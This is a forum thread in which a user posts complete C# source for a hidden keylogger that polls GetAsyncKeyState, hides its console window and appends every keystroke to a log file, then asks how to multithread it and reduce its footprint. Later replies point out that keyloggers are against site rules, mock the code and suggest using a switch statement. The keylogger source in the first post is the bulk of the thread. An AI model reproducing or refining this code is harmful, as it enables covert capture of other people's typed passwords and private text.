Results 1 to 7 of 7
  1. #1
    t7ancients's Avatar
    Join Date
    Dec 2008
    Gender
    male
    Location
    New York
    Posts
    381
    Reputation
    28
    Thanks
    68
    My Mood
    Twisted

    Multi-threading a keylogger?

    So, I have a simple keylogger using GetAsyncKeyState, and I know nothing about threading. Can someone post here or create a tutorial on how to use threading or something? Msdn fails at explaining things, or I'm just too stupid.
    Here's the code for the keylogger:

    Code:
        class Program
        {
            [DllImport("user32.dll")]
            static extern Boolean GetAsyncKeyState(System.Windows.Forms.Keys vKey);
            [DllImport("kernel32.dll", SetLastError = true, ExactSpelling = true)]
            static extern bool FreeConsole();
            static void Main()
            {
                string log = Guid.NewGuid().ToString();
                int counter = 0;
                File.AppendAllText(log, System.DateTime.Now.ToString());
                File.AppendAllText(log, "|| ");
                FreeConsole();
                while (true)
                {
                    counter++;
                    if (GetAsyncKeyState(Keys.A))
                    {
                        File.AppendAllText(log, "A");
                    }
                    if (GetAsyncKeyState(Keys.B))
                    {
                        File.AppendAllText(log, "B");
                    }
                    if (GetAsyncKeyState(Keys.C))
                    {
                        File.AppendAllText(log, "C");
                    }
                    if (GetAsyncKeyState(Keys.D))
                    {
                        File.AppendAllText(log, "D");
                    }
                    if (GetAsyncKeyState(Keys.E))
                    {
                        File.AppendAllText(log, "E");
                    }
                    if (GetAsyncKeyState(Keys.F))
                    {
                        File.AppendAllText(log, "F");
                    }
                    if (GetAsyncKeyState(Keys.G))
                    {
                        File.AppendAllText(log, "G");
                    }
                    if (GetAsyncKeyState(Keys.H))
                    {
                        File.AppendAllText(log, "H");
                    }
                    if (GetAsyncKeyState(Keys.I))
                    {
                        File.AppendAllText(log, "I");
                    }
                    if (GetAsyncKeyState(Keys.J))
                    {
                        File.AppendAllText(log, "J");
                    }
                    if (GetAsyncKeyState(Keys.K))
                    {
                        File.AppendAllText(log, "K");
                    }
                    if (GetAsyncKeyState(Keys.L))
                    {
                        File.AppendAllText(log, "L");
                    }
                    if (GetAsyncKeyState(Keys.M))
                    {
                        File.AppendAllText(log, "M");
                    }
                    if (GetAsyncKeyState(Keys.N))
                    {
                        File.AppendAllText(log, "N");
                    }
                    if (GetAsyncKeyState(Keys.O))
                    {
                        File.AppendAllText(log, "O");
                    }
                    if (GetAsyncKeyState(Keys.P))
                    {
                        File.AppendAllText(log, "P");
                    }
                    if (GetAsyncKeyState(Keys.Q))
                    {
                        File.AppendAllText(log, "Q");
                    }
                    if (GetAsyncKeyState(Keys.R))
                    {
                        File.AppendAllText(log, "R");
                    }
                    if (GetAsyncKeyState(Keys.S))
                    {
                        File.AppendAllText(log, "S");
                    }
                    if (GetAsyncKeyState(Keys.T))
                    {
                        File.AppendAllText(log, "T");
                    }
                    if (GetAsyncKeyState(Keys.U))
                    {
                        File.AppendAllText(log, "U");
                    }
                    if (GetAsyncKeyState(Keys.V))
                    {
                        File.AppendAllText(log, "V");
                    }
                    if (GetAsyncKeyState(Keys.W))
                    {
                        File.AppendAllText(log, "W");
                    }
                    if (GetAsyncKeyState(Keys.X))
                    {
                        File.AppendAllText(log, "X");
                    }
                    if (GetAsyncKeyState(Keys.Y))
                    {
                        File.AppendAllText(log, "Y");
                    }
                    if (GetAsyncKeyState(Keys.Z))
                    {
                        File.AppendAllText(log, "Z");
                    }
                    if (GetAsyncKeyState(Keys.Add))
                    {
                        File.AppendAllText(log, " |ADD| ");
                    }
                    if (GetAsyncKeyState(Keys.Back))
                    {
                        File.AppendAllText(log, " |BACKSPACE| ");
                    }
                    if (GetAsyncKeyState(Keys.Cancel))
                    {
                        File.AppendAllText(log, " |CANCEL| ");
                    }
                    if (GetAsyncKeyState(Keys.CapsLock))
                    {
                        File.AppendAllText(log, " |CAPSLOCK| ");
                    }
                    if (GetAsyncKeyState(Keys.Clear))
                    {
                        File.AppendAllText(log, " |CLEAR| ");
                    }
                    if (GetAsyncKeyState(Keys.D0))
                    {
                        File.AppendAllText(log, " |0| ");
                    }
                    if (GetAsyncKeyState(Keys.D1))
                    {
                        File.AppendAllText(log, " |1| ");
                    }
                    if (GetAsyncKeyState(Keys.D2))
                    {
                        File.AppendAllText(log, " |2| ");
                    }
                    if (GetAsyncKeyState(Keys.D3))
                    {
                        File.AppendAllText(log, " |3| ");
                    }
                    if (GetAsyncKeyState(Keys.D4))
                    {
                        File.AppendAllText(log, " |4| ");
                    }
                    if (GetAsyncKeyState(Keys.D5))
                    {
                        File.AppendAllText(log, " |5| ");
                    }
                    if (GetAsyncKeyState(Keys.D6))
                    {
                        File.AppendAllText(log, " |6| ");
                    }
                    if (GetAsyncKeyState(Keys.D7))
                    {
                        File.AppendAllText(log, " |7| ");
                    }
                    if (GetAsyncKeyState(Keys.D8))
                    {
                        File.AppendAllText(log, " |8| ");
                    }
                    if (GetAsyncKeyState(Keys.D9))
                    {
                        File.AppendAllText(log, " |9| ");
                    }
                    if (GetAsyncKeyState(Keys.Decimal))
                    {
                        File.AppendAllText(log, " |DECIMAL| ");
                    }
                    if (GetAsyncKeyState(Keys.Delete))
                    {
                        File.AppendAllText(log, " |DEL| ");
                    }
                    if (GetAsyncKeyState(Keys.Divide))
                    {
                        File.AppendAllText(log, " |DIVIDE| ");
                    }
                    if (GetAsyncKeyState(Keys.Down))
                    {
                        File.AppendAllText(log, " |ARROWDOWN| ");
                    }
                    if (GetAsyncKeyState(Keys.End))
                    {
                        File.AppendAllText(log, " |END| ");
                    }
                    if (GetAsyncKeyState(Keys.Enter))
                    {
                        File.AppendAllText(log, " |ENTER| ");
                    }
                    if (GetAsyncKeyState(Keys.Escape))
                    {
                        File.AppendAllText(log, " |ESCAPE| ");
                    }
                    if (GetAsyncKeyState(Keys.F1))
                    {
                        File.AppendAllText(log, " |F1| ");
                    }
                    if (GetAsyncKeyState(Keys.F2))
                    {
                        File.AppendAllText(log, " |F2| ");
                    }
                    if (GetAsyncKeyState(Keys.F3))
                    {
                        File.AppendAllText(log, " |F3| ");
                    }
                    if (GetAsyncKeyState(Keys.F4))
                    {
                        File.AppendAllText(log, " |F4| ");
                    }
                    if (GetAsyncKeyState(Keys.F5))
                    {
                        File.AppendAllText(log, " |F5| ");
                    }
                    if (GetAsyncKeyState(Keys.F6))
                    {
                        File.AppendAllText(log, " |F6| ");
                    }
                    if (GetAsyncKeyState(Keys.F7))
                    {
                        File.AppendAllText(log, " |F7| ");
                    }
                    if (GetAsyncKeyState(Keys.F8))
                    {
                        File.AppendAllText(log, " |F8| ");
                    }
                    if (GetAsyncKeyState(Keys.F9))
                    {
                        File.AppendAllText(log, " |F9| ");
                    }
                    if (GetAsyncKeyState(Keys.F10))
                    {
                        File.AppendAllText(log, " |F10| ");
                    }
                    if (GetAsyncKeyState(Keys.F11))
                    {
                        File.AppendAllText(log, " |F11| ");
                    }
                    if (GetAsyncKeyState(Keys.F12))
                    {
                        File.AppendAllText(log, " |F12| ");
                    }
                    if (GetAsyncKeyState(Keys.Help))
                    {
                        File.AppendAllText(log, " |HELP| ");
                    }
                    if (GetAsyncKeyState(Keys.Home))
                    {
                        File.AppendAllText(log, " |HOME| ");
                    }
                    if (GetAsyncKeyState(Keys.Insert))
                    {
                        File.AppendAllText(log, " |INSERT| ");
                    }
                    if (GetAsyncKeyState(Keys.LaunchMail))
                    {
                        File.AppendAllText(log, " |MAIL| ");
                    }
                    if (GetAsyncKeyState(Keys.Left))
                    {
                        File.AppendAllText(log, " |LEFTARROW| ");
                    }
                    if (GetAsyncKeyState(Keys.LControlKey))
                    {
                        File.AppendAllText(log, " |LEFTCTRL| ");
                    }
                    if (GetAsyncKeyState(Keys.LMenu))
                    {
                        File.AppendAllText(log, " |LEFTALT| ");
                    }
                    if (GetAsyncKeyState(Keys.LShiftKey))
                    {
                        File.AppendAllText(log, " |LEFTSHIFT| ");
                    }
                    if (GetAsyncKeyState(Keys.LWin))
                    {
                        File.AppendAllText(log, " |LEFTWIN| ");
                    }
                    if (GetAsyncKeyState(Keys.MButton))
                    {
                        File.AppendAllText(log, " |MidMouse-Scrollwheel| ");
                    }
                    if (GetAsyncKeyState(Keys.Multiply))
                    {
                        File.AppendAllText(log, " |MUL| ");
                    }
                    if (GetAsyncKeyState(Keys.NumLock))
                    {
                        File.AppendAllText(log, " |NUMLOCK| ");
                    }
                    if (GetAsyncKeyState(Keys.NumPad0))
                    {
                        File.AppendAllText(log, " |NUMPAD|0| ");
                    }
                    if (GetAsyncKeyState(Keys.NumPad1))
                    {
                        File.AppendAllText(log, " |NUMPAD|1| ");
                    }
                    if (GetAsyncKeyState(Keys.NumPad2))
                    {
                        File.AppendAllText(log, " |NUMPAD|2| ");
                    }
                    if (GetAsyncKeyState(Keys.NumPad3))
                    {
                        File.AppendAllText(log, " |NUMPAD|3| ");
                    }
                    if (GetAsyncKeyState(Keys.NumPad4))
                    {
                        File.AppendAllText(log, " |NUMPAD|4| ");
                    }
                    if (GetAsyncKeyState(Keys.NumPad5))
                    {
                        File.AppendAllText(log, " |NUMPAD|5| ");
                    }
                    if (GetAsyncKeyState(Keys.NumPad6))
                    {
                        File.AppendAllText(log, " |NUMPAD|6| ");
                    }
                    if (GetAsyncKeyState(Keys.NumPad7))
                    {
                        File.AppendAllText(log, " |NUMPAD|7| ");
                    }
                    if (GetAsyncKeyState(Keys.NumPad8))
                    {
                        File.AppendAllText(log, " |NUMPAD|8| ");
                    }
                    if (GetAsyncKeyState(Keys.NumPad9))
                    {
                        File.AppendAllText(log, " |NUMPAD|9| ");
                    }
                    if (GetAsyncKeyState(Keys.PageDown))
                    {
                        File.AppendAllText(log, " |PAGEDOWN| ");
                    }
                    if (GetAsyncKeyState(Keys.PageUp))
                    {
                        File.AppendAllText(log, " |PAGEUP| ");
                    }
                    if (GetAsyncKeyState(Keys.Pause))
                    {
                        File.AppendAllText(log, " |PAUSE| ");
                    }
                    if (GetAsyncKeyState(Keys.Play))
                    {
                        File.AppendAllText(log, " |PLAY| ");
                    }
                    if (GetAsyncKeyState(Keys.Print))
                    {
                        File.AppendAllText(log, " |PRINT| ");
                    }
                    if (GetAsyncKeyState(Keys.PrintScreen))
                    {
                        File.AppendAllText(log, " |PRINTSCREEN| ");
                    }
                    if (GetAsyncKeyState(Keys.RControlKey))
                    {
                        File.AppendAllText(log, " |RIGHTCTRL| ");
                    }
                    if (GetAsyncKeyState(Keys.Right))
                    {
                        File.AppendAllText(log, " |RIGHTARROW| ");
                    }
                    if (GetAsyncKeyState(Keys.RMenu))
                    {
                        File.AppendAllText(log, " |RIGHTALT| ");
                    }
                    if (GetAsyncKeyState(Keys.RShiftKey))
                    {
                        File.AppendAllText(log, " |RIGHTSHIFT| ");
                    }
                    if (GetAsyncKeyState(Keys.RWin))
                    {
                        File.AppendAllText(log, " |RIGHTWIN| ");
                    }
                    if (GetAsyncKeyState(Keys.Scroll))
                    {
                        File.AppendAllText(log, " |SCROLL-LOCK| ");
                    }
                    if (GetAsyncKeyState(Keys.Sleep))
                    {
                        File.AppendAllText(log, " |SLEEP| ");
                    }
                    if (GetAsyncKeyState(Keys.Space))
                    {
                        File.AppendAllText(log, " |SPACE| ");
                    }
                    if (GetAsyncKeyState(Keys.Subtract))
                    {
                        File.AppendAllText(log, " |SUBTRACT| ");
                    }
                    if (GetAsyncKeyState(Keys.Tab))
                    {
                        File.AppendAllText(log, " |TAB| ");
                    }
                    if (GetAsyncKeyState(Keys.Up))
                    {
                        File.AppendAllText(log, " |UPARROW| ");
                    }
                    if (counter == 1000)
                    {
                        File.AppendAllText(log, " |COUNT1K| ");
                    }
                    if (counter >= 2000)
                    {
                        File.AppendAllText(log, System.DateTime.Now.ToString());
                        File.AppendAllText(log, "|| ");
                        counter = 0;
                    }
                    else
                    {
                        Thread.Sleep(10);
                    }
                    Thread.Sleep(80);
                }
            }
        }
    I just want to be able to reduce the memory it uses, it's filesize, etc. Also, I want to understand multi-threading. So if anyone has a tut or can sum it up in a simple way here, I'd be very happy.

  2. #2
    Nathan's Avatar
    Join Date
    Mar 2011
    Gender
    male
    Location
    In a magical place
    Posts
    6,113
    Reputation
    394
    Thanks
    363
    You're not allowed to use/post keyloggers on this site.

  3. #3
    t7ancients's Avatar
    Join Date
    Dec 2008
    Gender
    male
    Location
    New York
    Posts
    381
    Reputation
    28
    Thanks
    68
    My Mood
    Twisted
    I didn't know that. What about the source code though? Text can harm nothing.

  4. #4
    edgareatis's Avatar
    Join Date
    Apr 2011
    Gender
    male
    Posts
    54
    Reputation
    8
    Thanks
    3
    My Mood
    Mellow
    Take out the if commands and use switch it will be much better. If you want help add my aim

    edgareatis

  5. #5
    'Bruno's Avatar
    Join Date
    Dec 2009
    Gender
    male
    Location
    Portugal
    Posts
    2,883
    Reputation
    290
    Thanks
    1,036
    My Mood
    Busy
    This is what i call bad code.
    Light travels faster than sound. That's why most people seem bright until you hear them speak.

  6. The Following 3 Users Say Thank You to 'Bruno For This Useful Post:

    B1ackAnge1 (05-23-2011),Hassan (05-23-2011),Jason (05-25-2011)

  7. #6
    SoWhat's Avatar
    Join Date
    Mar 2011
    Gender
    male
    Posts
    1,268
    Reputation
    15
    Thanks
    59
    My Mood
    In Love
    Quote Originally Posted by t7ancients View Post
    I didn't know that. What about the source code though? Text can harm nothing.
    you is bad for not reading rule
    Aim : SowhatYowann@aim.com
    Xfire : yowann
    Msn : yowann_10@hotmail.com
    Skype :mmo wned66 (no space)
    Gmail : Yowannsowaht@gmail.com
    (i know theres an error in my gmail xd)

    Co Owner OF MLD!
    SoWhat(Founder)
    [MPGH]Ravallo
    EliteHakz
    SoWhat Backup
    OBrozz
    [MPGH]Nitehawk772
    CADealer
    [MPGH]Bombsaway707
    Official CA Nexon Spy™
    Hemp
    NO ONE ELSE IS IN THIS GROUP.






    Quote Originally Posted by Jigsaw View Post
    Right now we made a deal and was successfully, without errors or attempts to scam each other. Just reporting he's trusted enough,

    Quote Originally Posted by Robert. View Post
    Trusted member, negotiating pro, legit.

    Quote Originally Posted by iCheetosPaypal View Post
    And I Also Vouch For SoWhat was like a 5 second Transaction and will trade more in the future

  8. #7
    Drake.'s Avatar
    Join Date
    Aug 2010
    Gender
    male
    Posts
    195
    Reputation
    29
    Thanks
    11
    My Mood
    Amused
    Not allowed :fp:

    I support low post count! Keep the forums spam free!